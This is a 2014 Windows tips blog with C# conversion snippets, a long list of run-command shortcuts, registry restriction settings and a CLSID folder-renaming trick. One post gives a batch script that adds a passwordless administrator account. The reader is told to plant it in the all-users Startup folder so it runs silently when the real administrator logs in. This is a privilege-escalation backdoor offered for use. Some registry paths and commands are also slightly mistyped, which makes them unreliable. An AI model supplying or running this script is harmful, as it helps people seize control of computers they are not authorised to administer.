Friday 10 October 2014

How to convert Stream to string?

To convert Stream to string write the following code:

public  string StreamToString(Stream stream)
{
 
 
 stream.Position = 0;

using (StreamReader reader = new StreamReader(stream))

{
 
 
return reader.ReadToEnd();
}

}
 
 
 

How to convert byte[ ] to string?

To convert byte[ ] to string write the following code:

//Convert byte[] to string
 
 
ASCIIEncoding aEncoding=new ASCIIEncoding();

string outputString= aEncoding.GetString(bytes);



Here bytes is your byte[ ]

How to convert string to byte[ ]?

 To convert a string to byte[ ] write the following code:

string stringToConvert="Input your string here";
ASCIIEncoding aEncoding = new ASCIIEncoding();

byte[] bytes = new byte[stringToConvert.Length];

//Convert string message to byte[]

bytes = aEncoding.GetBytes(stringToConvert);
 

Sunday 5 October 2014

What is CLSID?

Well, basically windows is build with the microsoft’s COM (Component Object Model) based architecture. They have built lots of dlls to provide full graphical windows. Everything in windows is built with classes. The classes of windows are assigned to an unique ID with it called Class ID or CLSID. Now any special folders or any icon of windows OS is associated to its respective CLSIDs, and they are just an object of those classes. An ICON is just a special file when associated with the approprite clsid will behave specially. For instance, if a file or folder is assigned to the CLSID of Recycle Bin will definately behave like it. Even the picture of the ICON will also change if we change the CLSID of it.

Create Admin account from Guest account or any Non-Admin account

To create an administrator account is easy. You just need to use your guest account and create one administrator account instantly. Just follow the steps :
Open Notepad, paste the following :


@echo off
net user Newadmin /add /expires:never /passwordreq:no

net localgroup “Administrators” /add Newadmin


And save it to a bat file.

Now place this bat file in location local:\Documents and Settings\All Users\Start Menu\Programs\Startup

And when your admin logs into the system, the new account will be automatically created without the notice of the user. Next time when you login, you will get the user account for you.

Shortcuts of programs

SQL Client Configuration – cliconfg
System Configuration Editor – sysedit
System Configuration Utility – msconfig
System File Checker Utility (Scan Immediately)- sfc /scannow
System File Checker Utility (Scan Once At Next Boot)- sfc /scanonce
System File Checker Utility (Scan On Every Boot) – sfc /scanboot
System File Checker Utility (Return to Default Setting)- sfc /revert
System File Checker Utility (Purge File Cache)- sfc /purgecache
System File Checker Utility (Set Cache Size to size x)-sfc/cachesize=x
System Information- msinfo32
System Properties – sysdm.cpl
Task Manager – taskmgr
TCP Tester – tcptest
Telnet Client – telnet
Tweak UI (if installed) – tweakui
User Account Management- nusrmgr.cpl
Utility Manager – utilman
Windows Address Book – wab
Windows Address Book Import Utility – wabmig
Windows Backup Utility (if installed)- ntbackup
Windows Explorer – explorer
Windows Firewall- firewall.cpl
Windows Magnifier- magnify
Windows Management Infrastructure – wmimgmt.msc
Windows Media Player – wmplayer
Windows Messenger – msmsgs
Windows Picture Import Wizard (need camera connected)- wiaacmgr
Windows System Security Tool – syskey
Windows Update Launches – wupdmgr
Windows Version (to show which version of windows)- winver
Windows XP Tour Wizard – tourstart
Wordpad – write
Password Properties – password.cpl
Performance Monitor – perfmon.msc
Phone and Modem Options – telephon.cpl
Phone Dialer – dialer
Pinball Game – pinball
Power Configuration – powercfg.cpl
Printers and Faxes – control printers
Printers Folder – printers
Private Character Editor – eudcedit
Quicktime (If Installed)- QuickTime.cpl
Quicktime Player (if installed)- quicktimeplayer
Real Player (if installed)- realplay
Regional Settings – intl.cpl
Registry Editor – regedit
Registry Editor – regedit32
Remote Access Phonebook – rasphone
Remote Desktop – mstsc
Removable Storage – ntmsmgr.msc
Removable Storage Operator Requests – ntmsoprq.msc
Resultant Set of Policy (XP Prof) – rsop.msc
Scanners and Cameras – sticpl.cpl
Scheduled Tasks – control schedtasks
Security Center – wscui.cpl
Services – services.msc
Shared Folders – fsmgmt.msc
Shuts Down Windows – shutdown
Sounds and Audio – mmsys.cpl
Spider Solitare Card Game – spider
Malicious Software Removal Tool – mrt
Microsoft Access (if installed) – access.cpl
Microsoft Chat – winchat
Microsoft Excel (if installed) – excel
Microsoft Frontpage (if installed)- frontpg
Microsoft Movie Maker – moviemk
Microsoft Paint – mspaint
Microsoft Powerpoint (if installed)- powerpnt
Microsoft Word (if installed)- winword
Microsoft Syncronization Tool – mobsync
Minesweeper Game – winmine
Mouse Properties – control mouse
Mouse Properties – main.cpl
Nero (if installed)- nero
Netmeeting – conf
Network Connections – control netconnections
Network Connections – ncpa.cpl
Network Setup Wizard – netsetup.cpl
Notepad – notepad
Nview Desktop Manager (If Installed)- nvtuicpl.cpl
Object Packager – packager
ODBC Data Source Administrator- odbccp32.cpl
On Screen Keyboard – osk
Opens AC3 Filter (If Installed) – ac3filter.cpl
Outlook Express – msimn
Paint – pbrush
IP Configuration (Display Connection Configuration) – ipconfi/all
IP Configuration (Display DNS Cache Contents)- ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents)- ipconfig /flushdns
IP Configuration (Release All Connections)- ipconfig /release
IP Configuration (Renew All Connections)- ipconfig /renew
IP Configuration(RefreshesDHCP&Re-RegistersDNS)-ipconfig/registerdns
IP Configuration (Display DHCP Class ID)- ipconfig/showclassid
IP Configuration (Modifies DHCP Class ID)- ipconfig /setclassid
Java Control Panel (If Installed)- jpicpl32.cpl
Java Control Panel (If Installed)- javaws
Keyboard Properties – control keyboard
Local Security Settings – secpol.msc
Local Users and Groups – lusrmgr.msc
Logs You Out Of Windows – logoff…..
Accessibility Controls – access.cpl
Accessibility Wizard – accwiz
Add Hardware – Wizardhdwwiz.cpl
Add/Remove Programs – appwiz.cpl
Administrative Tools control – admintools
Adobe Acrobat (if installed) – acrobat
Adobe Designer (if installed)- acrodist
Adobe Distiller (if installed)- acrodist
Adobe ImageReady (if installed)- imageready
Adobe Photoshop (if installed)- photoshop
Automatic Updates – wuaucpl.cpl
Bluetooth Transfer Wizard – fsquirt
Calculator – calc
Certificate Manager – certmgr.msc
Character Map – charmap
Check Disk Utility – chkdsk
Clipboard Viewer – clipbrd
Command Prompt – cmd
Component Services – dcomcnfg
Computer Management – compmgmt.msc
Control Panel – control
Date and Time Properties – timedate.cpl
DDE Shares – ddeshare
Device Manager – devmgmt.msc
Direct X Control Panel (If Installed)- directx.cpl
Direct X Troubleshooter- dxdiag
Disk Cleanup Utility- cleanmgr
Disk Defragment- dfrg.msc
Disk Management- diskmgmt.msc
Disk Partition Manager- diskpart
Display Properties- control desktop
Display Properties- desk.cpl
Display Properties (w/Appearance Tab Preselected)- control color
Dr. Watson System Troubleshooting Utility- drwtsn32
Driver Verifier Utility- verifier
Event Viewer- eventvwr.msc
Files and Settings Transfer Tool- migwiz
File Signature Verification Tool- sigverif
Findfast- findfast.cpl
Firefox (if installed)- firefox
Folders Properties- control folders
Fonts- control fonts
Fonts Folder- fonts
Free Cell Card Game- freecell
Game Controllers- joy.cpl
Group Policy Editor (XP Prof)- gpedit.msc
Hearts Card Game- mshearts
Help and Support- helpctr
HyperTerminal- hypertrm
Iexpress Wizard- iexpress
Indexing Service- ciadv.msc
Internet Connection Wizard- icwconn1
Internet Explorer- iexplore
Internet Properties- inetcpl.cpl
Internet Setup Wizard- inetwiz

Some important tricks

Open registry and navigate to "HKEY_CURRENT_USER/Software/Microsoft/CurrentVersion/Policies/explorer". Under this create a DWORD-Value and name it from the list below to impose restriction. The value of which will be 1 to restrict and 0 to remove restriction. Lets look at the following list:

NoDeletePrinter: Disables Deletion of already installed Printers

NoAddPrinter: Disables Addition of new Printers

NoRun : Disables or hides the Run Command

NoSetFolders: Removes Folders from the Settings option on Start Menu (Control Panel, Printers, Taskbar)

NoSetTaskbar: Removes Taskbar system folder from the Settings option on Start Menu

NoFind: Removes the Find Tool (Start >Find)

NoDrives: Hides and does not display any Drives in My Computer

NoNetHood: Hides or removes the Network Neighborhood icon from the desktop

NoDesktop: Hides all items including, file, folders and system folders from the Desktop

NoClose: Disables Shutdown and prevents the user from normally shutting down Windows.

NoSaveSettings: Means to say, ‘Don’t save settings on exit’

DisableRegistryTools: Disable Registry Editing Tools (If you disable this option, the Windows Registry Editor(regedit.exe) too will not work.). So be very careful.

NoRecentDocsHistory: Removes Recent Document system folder from the Start Menu (IE 4 and above)

NoFileMenu _ Hides the Files Menu in Explorer

NoActiveDesktop – No Active Desktop

NoActiveDesktopChanges- No changes allowed

NoInternetIcon – No Internet Explorer Icon on the Desktop

NoFavoritesMenu – Hides the Favorites menu

NoChangeStartMenu _ Disables changes to the Start Menu

NoFolderOptions _ Hides the Folder Options in the Explorer

NoLogoff – Hides the Log Off …. in the Start Menu

NoViewOnDrive – Restrict a drive to open

NoTrayContextMenu – No context menu in tray.

NoStartMenuSubFolders
NoWindowsUpdate
NoViewContextMenu
EnforceShellExtensionSecurity
LinkResolveIgnoreLinkInfo
NoDriveTypeAutoRun
NoStartBanner
NoSetActiveDesktop
NoNetConnectDisconnect

ClearRecentDocsOnExit: Clears the Recent Documents system folder on Exit.

RestrictRun – Disables all exe programs except those listed in the RestrictRun subkey


Under the same key "HKEY_CURRENT_USER/Software/Microsoft/CurrentVersion/Policies" you can create new subkeys other than the already existing Explorer key. Now create a new key and name it System. Under this new key, system we can create the following new DWORD values(1 for enabling the particular option and 0 for disabling the particular
option):
· NODispCPL: Hides Control Panel
· NoDispBackgroundPage: Hides Background page.
· NoDispScrsavPage: Hides Screen Saver Page
· NoDispAppearancePage: Hides Appearance Page
· NoDispSettingsPage: Hides Settings Page
· NoSecCPL: Disables Password Control Panel
· NoPwdPage: Hides Password Change Page
· NoAdminPaqe: Hides Remote Administration Page
· NoProfilePage: Hides User Profiles Page
· NoDevMgrPage: Hides Device Manager Page
· NoConfigPage: Hides Hardware Profiles Page
· NoFileSysPage: Hides File System Button
· NoVirtMemPage: Hides Virtual Memory Button
 

Similarly, if we create a new subkey named WinOldApp, we can add the following
DWORD values under it(1 for enabling the particular option and 0 for disabling the
particular option):
Disabled: Disable MS-DOS Prompt
NoRealMode: Disable Single-Mode MS-DOS.

Protecting taskbar from changes

Open Registry and navigate to "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\Explorer". Now click on edit->new->DWORD-Value and create an entry with the name "LockTaskbar". Double click on it and set the value to "1". This will disable the context menu "Lock the Taskbar". To enable it, just change the value to "0" again.

Hide disk drives in windows 8.1

Open Registry and navigate to "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\Explorer". Create a new entry by clicking on edit-> new->"Dword value". Name the value as 3fffffff.
Now each drive letter has a number. The value of the key will be the sum of the drive letter numbers. Some of the numbers are :
A:=1, B:=2,C:\4,D:=8,e:=16,f:=32,g:=64,H:=128,I:=256,j:=512,k:=1024,L:=2048 and so on. ….. Now if you want to hide "C:" and "D:" , you just have to enter value as ’12′(4+8). Enter as decimal value in the dword key and restart windows.
To get back your drives just delete the key called "3fffffff".

Changing the size of preview images

Open Registry and navigate to "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer". Click on "edit->New->DWORD-Value" Name the new entry "ThumbnailSize". Double Click on the entry, select the "Decimal" radio button and enter the number between 32 and 256. The default value is 96. Enter larger value to increase the thumbnail size. Confirm the change by clicking on "OK". Restart windows Explorer for the changes to take effect.

Protecting a folder

Its true that Microsoft named all its COM objects with a unique CLSID. This ID is responsible for any behavioural instinct in your file system. So the trick is very simple. IF we could somehow apply this trick to change the behaviour of a folder created by you with some system defined ones, our job will be over.
To do this let us create a folder named "abc" (without quotes). Now, you need to assign something to this folder so that it could be disallowed to open… Just there is a CLSID to do that.
open notepad and write
"ren abc abc.{2559a1f2-21d7-11d4-bdaf-00c04f60b9f0}" without quotes. Save the file with ".bat" extension. Let us save it as protect.bat (This is the extension of batch files) in the same location where the folder in so that it can be directly be called upon. I mean to say you need to create the batch file in the parent directory of abc. Double click on  the file and your folder will be locked.
To unprotect it just change the line to this:
"ren abc.{2559a1f2-21d7-11d4-bdaf-00c04f60b9f0} abc"
You will have to change the folder name in place of abc. Thats all.
To attach an application with your folder:
Well, you can attach any application with your folder. Even the System services like My Computer or Recycle bin. Just you will have to create a batch file and write
"ren abc abc.{FB0C9C8A-6C50-11D1-9F1D-0000F8757FCD}" to make it behave like Scanners and Faxes. This trick will be applicable to any of the folders or files.
To unprotect, you will need to write
"ren abc.{FB0C9C8A-6C50-11D1-9F1D-0000F8757FCD} abc". Where abc is the folder name. I am giving some of the CLSID. Try them and get your work done easily….
 
CLSID
"{85BBD920-42A0-1069-A2E4-08002B30309D}"="Briefcase"
"{BD84B380-8CA2-1069-AB1D-08000948F534}"="Fonts"
"{7007ACC7-3202-11D1-AAD2-00805FC1270E}"="Network Connections"
"{992CFFA0-F557-101A-88EC-00DD010CCC48}"="Network Connections"
"{E211B736-43FD-11D1-9EFB-0000F8757FCD}"="Scanners & Cameras"
"{FB0C9C8A-6C50-11D1-9F1D-0000F8757FCD}"="Scanners & Cameras"
"{905667aa-acd6-11d2-8080-00805f6596d2}"="Scanners & Cameras"
"{3F953603-1008-4f6e-A73A-04AAC7A992F1}"="Scanners & Cameras"
"{83bbcbf3-b28a-4919-a5aa-73027445d672}"="Scanners & Cameras"
"{D6277990-4C6A-11CF-8D87-00AA0060F5BF}"="Scheduled Tasks"
"{0DF44EAA-FF21-4412-828E-260A8728E7F1}"="Taskbar and Start Menu"
"{2559a1f0-21d7-11d4-bdaf-00c04f60b9f0}"="Search"
"{2559a1f1-21d7-11d4-bdaf-00c04f60b9f0}"="Help and Support"
"{2559a1f2-21d7-11d4-bdaf-00c04f60b9f0}"="Help and Support"
"{2559a1f3-21d7-11d4-bdaf-00c04f60b9f0}"="Run…"
"{2559a1f4-21d7-11d4-bdaf-00c04f60b9f0}"="Internet"
"{2559a1f5-21d7-11d4-bdaf-00c04f60b9f0}"="E-mail"
"{D20EA4E1-3957-11d2-A40B-0C5020524152}"="Fonts"
"{D20EA4E1-3957-11d2-A40B-0C5020524153}"="Administrative Tools"
"{01E04581-4EEE-11d0-BFE9-00AA005B4383}"="&Address"
"{FF393560-C2A7-11CF-BFF4-444553540000}"="History"
"{7A9D77BD-5403-11d2-8785-2E0420524153}"="User Accounts"
"{32714800-2E5F-11d0-8B85-00AA0044F941}"="For &People…"
"{5464D816-CF16-4784-B9F3-75C0DB52B499}"="Yahoo! Mail"
"{B41DB860-8EE4-11D2-9906-E49FADC173CA}"="WinRAR shell extension"
"{BDEADF00-C265-11D0-BCED-00A0C90AB50F}"="Web Folders"
"{F2CF5485-4E02-4f68-819C-B92DE9277049}"="&Links"
"{416651E4-9C3C-11D9-8BDE-F66BAD1E3F3A}"="PhoneBrowser"